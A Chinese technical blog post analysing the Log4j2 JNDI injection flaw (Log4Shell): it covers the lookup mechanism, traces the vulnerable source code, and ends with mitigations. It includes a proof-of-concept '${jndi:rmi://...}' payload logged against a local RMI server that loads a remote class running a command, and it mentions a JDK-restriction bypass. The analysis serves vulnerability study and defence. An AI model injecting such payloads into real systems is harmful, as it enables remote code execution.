log4j JNDI注入原理
log4j2 JNDI注入原理
log4j2中的JNDI注入
log4j在 \(2.0\) - \(2.14.1\)版本中,存在jndi注入问题。
配置
首先使用maven导入log4j包并通过log4j2.xml进行日志服务配置。
- 导入maven
pom.xml
配置如下(如果是spring、mybatis等框架,自带并默认使用log4j):
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<log4j2.version>2.14.1</log4j2.version>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>${log4j2.version}</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>${log4j2.version}</version>
</dependency>
</dependencies>
src/main/resources/log4j2.xml
配置如下:
<?xml version="1.0" encoding="UTF-8"?>
<configuration status="WARN" monitorInterval="30">
<appenders>
<!--这个输出控制台的配置-->
<console name="Console" target="SYSTEM_OUT">
<!--输出日志的格式-->
<PatternLayout pattern="[%d{HH:mm:ss:SSS}] [%p] - %l - %m%n"/>
</console>
</appenders>
<!--然后定义logger,只有定义了logger并引入的appender,appender才会生效-->
<loggers>
<!--将日志输出到控制台,日志等级为all-->
<root level="all">
<appender-ref ref="Console"/>
</root>
</loggers>
</configuration>
Logger 打印方法漏洞
Logger 类负责接受字符串或Object参数,并进行日志打印。其中Logger类的日志打印方法支持使用 {}
作为占位符,进行格式化打印日志消息。
例:
Logger logger = LogManager.getLogger(UserService.class);
logger.info("{}","nishoushun@ustc.edu");
输出:
[11:39:55:265] [INFO] - UserServiceTest.test(UserServiceTest.java:11) - nishoushun@ustc.edu
插件匹配
Logger的日志记录方法中的 {}
占位符不仅可以被开发者的定义的变量进行替换,log4j2中还对 ${}
其做了进一步匹配与查询处理:log4j2中可以通过 ${plugin:var}
的格式查询相应的内置变量。
这个插件实际上是实现了 org.apache.logging.log4j.core.lookup.StrLookup
接口的一个实现类。
StrLookup
接口定义:
package org.apache.logging.log4j.core.lookup;
import org.apache.logging.log4j.core.LogEvent;
public interface StrLookup {
String CATEGORY = "Lookup";
String lookup(String key);
String lookup(LogEvent event, String key);
}
也就是说当你提供了 key
以及 event
之后,该实现类给你查询之后的返回消息。
例:调用 java
lookups 插件,查询系统信息
Logger logger = LogManager.getLogger(UserService.class);
logger.info("${java:os}");
获得输出:
[14:56:28:771] [INFO] - service.login.LoginHandler.receiveUsername(LoginHandler.java:14) - username: Linux 5.15.2-2-MANJARO, architecture: amd64-64
会发现原本的格式{${java:os}}
会被替换了相应的系统信息。
更多内置实现类以及配置请看:LOG4J Lookups 官方文档
注入原理
查看文档,发现log4j本身就支持 JNDI
方式查询:
该功能可以通过系统属性(System.getProperty
)的 log4j2.enableJndiLookup
的值确定是否开启。
PoC
首先开启一个绑定了恶意类的JNDI服务,这里以 rmi 作为实现(开启RMI注册中心以及相关HTTP服务),之后调用测试方法:
@Test
public void test(){
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
Logger logger = LogManager.getLogger(UserService.class);
logger.info("{}","${jndi:rmi://127.0.0.1:1099/exec}");
}
由于本身依赖于 JNDI,所以log4j2漏洞对jdk版本要求较高,需要设置相应系统属性或找的合适的本地类绕开限制。
输出如下:
ExecutorFactory is constructed.
generating a new CmdExecutor...
Cmd Executor is constructed. cmd: firefox
[12:24:02:194] [INFO] - UserServiceTest.test(UserServiceTest.java:13) - remote.exec.CmdExecutor@bef2d72
可以看出,服务端加载了username字符串指定的rmi服务中映射的的Class,并进行了实例化,最终以 exec.CmdExecutor#toString
替换了 ${}
中的值。
Lookups 过程分析
Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface. Information on how to use Lookups in configuration files can be found in the Property Substitution section of the Configuration page.
${
匹配
类 org.apache.logging.log4j.core.pattern.MessagePatternConverter
# fomat
方法中有这么一段代码:
// TODO can we optimize this?
if (config != null && !noLookups) {
for (int i = offset; i < workingBuilder.length() - 1; i++) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
final String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(config.getStrSubstitutor().replace(event, value));
}
}
}
即当参数传入打印方法时,Log4j会对其做一个${
匹配与字符替换。
如果在 开启Lookups(noLookups
为 false
) 功能的情况下,那么该类会查找传入的字符串是否含有${
,并使用 config.getStrSubstitutor().replace(event, value)
对其匹配到的 event 进行替换。
前缀、后缀与分隔符匹配
org.apache.logging.log4j.core.lookup.StrSubstitutor
类定义了格式化日志变量替换的相应字符默认值,以及匹配与替换方法,其中需要匹配的符号默认值如下:
public static final char DEFAULT_ESCAPE = '$';
public static final StrMatcher DEFAULT_PREFIX = StrMatcher.stringMatcher(DEFAULT_ESCAPE + "{");
public static final StrMatcher DEFAULT_SUFFIX = StrMatcher.stringMatcher("}");
public static final String DEFAULT_VALUE_DELIMITER_STRING = ":-";
public static final StrMatcher DEFAULT_VALUE_DELIMITER = StrMatcher.stringMatcher(DEFAULT_VALUE_DELIMITER_STRING);
public static final String ESCAPE_DELIMITER_STRING = ":\\-";
可以看到触发消息匹配的:
- 前缀:
${
- 后缀:
}
- 变量分隔符:
:-
- 转义分隔符:
:\\-
注:默认匹配上述符号,可在配置文件中修改,详情请看官方文档。
在 this.substitute
方法中,可以看到代码中放置一个双层while
循环(外层循环用于匹配前缀,内层循环用于向后匹配后缀;当匹配到正确后缀后,以后缀字符位置的下一个位置,继续进行外层循环),使用该类定义的前后缀、以及变量分隔符,在传入的日志字符串中进行匹配,并将匹配到的变量名放在传入的参数:List priorVariables
对象中。
查询
当 substitude
方法找出一个匹配字串之后,调用 this.resolveVariable
方法:
protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, inal int startPos, final int endPos) {
final StrLookup resolver = getVariableResolver();
if (resolver == null) {
return null;
}
return resolver.lookup(event, variableName);
}
该方法用于找到一个适合传入参数 event
、variableName
至 lookup
方法对以匹配到的变量名进行查询。
发现该类实际上是一个 org.apache.logging.log4j.core.lookup.Interpolator
类
Interpolator
实际上是一个代理类,其中定义了一些内置的 key
:
发现其中就有
jndi
。
其 lookup
方法中,首先会根据 :
进行分割,然后根据前面的部分找到对应的 StrLookup
接口的实现类,发现获取的是一个 JndiLookup
类。
最终调用实现类的 lookup
方法,获取查询值,并对原有字符串进行替换:
Log4j2 中内置的实现
StrLookup
接口的实现类如下:其中以
JavaLookup
实现类为例:@Plugin(name = "java", category = StrLookup.CATEGORY) public class JavaLookup extends AbstractLookup { private final SystemPropertiesLookup spLookup = new SystemPropertiesLookup(); /** 省略 **/ @Override public String lookup(final LogEvent event, final String key) { switch (key) { case "version": return "Java version " + getSystemProperty("java.version"); case "runtime": return getRuntime(); case "vm": return getVirtualMachine(); case "os": return getOperatingSystem(); case "hw": return getHardware(); case "locale": return getLocale(); default: throw new IllegalArgumentException(key); } } }
该类中定义了以
java:var
格式的查询条件,即当我们在日志传参中使用"${java:var}"
形式的字符串后,会查询到相应的值:
version
runtime
vm
os
hw
locale
- 其他:抛出一个非法参数异常
正好和官方文档相对应:
这也就解释了为什么
String username = "${java:os}"
会被替换为getOperatingSystem()
的返回的字符串。
JndiLookup
这次log4j2的漏洞关键在于 StrLookup
接口的一个实现类 org.apache.logging.log4j.core.lookup.JndiLookup
:
package org.apache.logging.log4j.core.lookup;
/**
省略
*/
/**
* Looks up keys from JNDI resources.
*/
@Plugin(name = "jndi", category = StrLookup.CATEGORY)
public class JndiLookup extends AbstractLookup {
private static final Logger LOGGER = StatusLogger.getLogger();
private static final Marker LOOKUP = MarkerManager.getMarker("LOOKUP");
/** JNDI resource path prefix used in a J2EE container */
static final String CONTAINER_JNDI_RESOURCE_PATH_PREFIX = "java:comp/env/";
/**
* Looks up the value of the JNDI resource.
* @param event The current LogEvent (is ignored by this StrLookup).
* @param key the JNDI resource name to be looked up, may be null
* @return The String value of the JNDI resource.
*/
@Override
public String lookup(final LogEvent event, final String key) {
if (key == null) {
return null;
}
final String jndiName = convertJndiName(key);
try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
return Objects.toString(jndiManager.lookup(jndiName), null);
} catch (final NamingException e) {
LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);
return null;
}
}
/**
* Convert the given JNDI name to the actual JNDI name to use.
* Default implementation applies the "java:comp/env/" prefix
* unless other scheme like "java:" is given.
* @param jndiName The name of the resource.
* @return The fully qualified name to look up.
*/
private String convertJndiName(final String jndiName) {
if (!jndiName.startsWith(CONTAINER_JNDI_RESOURCE_PATH_PREFIX) && jndiName.indexOf(':') == -1) {
return CONTAINER_JNDI_RESOURCE_PATH_PREFIX + jndiName;
}
return jndiName;
}
}
如果用户的输入中包含 ${jndi:url}
匹配模式,并作为传入 Logger
打印方法的参数,则查询时会使用JndiLookup
类作为 StrLookup
接口的实现,该类会调用 jndiManager.lookup(jndiName)
,从而获取并加载远程类。
在使用 JndiLookup
# lookup
方法时,发现调用了 InitialContext
# lookup
方法:
看到这估计了解JNDI注入的人就全懂了🧐。
防御
关于防御最好还是升级Log4j版本以及禁用lookup功能(如果非必需的话)。
版本升级
升级jdk版本
对于Oracle JDK \(11.0.1\)、\(8u191\)、\(7u201\)、\(6u211\) 或者更高版本的JDK来说,默认就已经禁用了 RMI Reference、LDAP Reference 的远程加载,但是依然可以靠本地classpath中的 ObjectFactory
实现类去进行攻击。
升级log4j版本
log4j 在 \(2.15.0\) 版本中默认关闭 lookup 功能。
禁用log4j的lookup功能
控制日志格式
对于 >=\(2.7\) 的版本,在 log4j 配置文件中对每一个日志输出格式进行修改。在 %msg
占位符后面添加 {nolookups}
,这种方式的适用范围比其他三种配置更广。
例:在 log4j2.xml 中配置
<?xml version="1.0" encoding="UTF-8"?>
<configuration status="WARN" monitorInterval="30">
<appenders>
<!--这个输出控制台的配置-->
<console name="Console" target="SYSTEM_OUT">
<!--输出日志的格式-->
<PatternLayout pattern="[%d{HH:mm:ss:SSS}] [%p] - %l - %m%n"/>
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%p] - %l - %m%n - %msg{nolookups}%n"/>
</console>
</appenders>
<!--然后定义logger,只有定义了logger并引入的appender,appender才会生效-->
<loggers>
<!--将日志输出到控制台,日志等级为all-->
<root level="all">
<appender-ref ref="Console"/>
</root>
</loggers>
</configuration>
直接关闭 Lookup 功能
在配置文件 log4j2.component.properties
中增加:log4j2.formatMsgNoLookups=true
。
也可以通过设置JVM系统属性,jvm 启动参数中增加 -Dlog4j2.formatMsgNoLookups=true
,或者
System.setProperty("log4j2.formatMsgNoLookups", "true");
注意:必须在 log4j 被初始化之前设置该系统属性。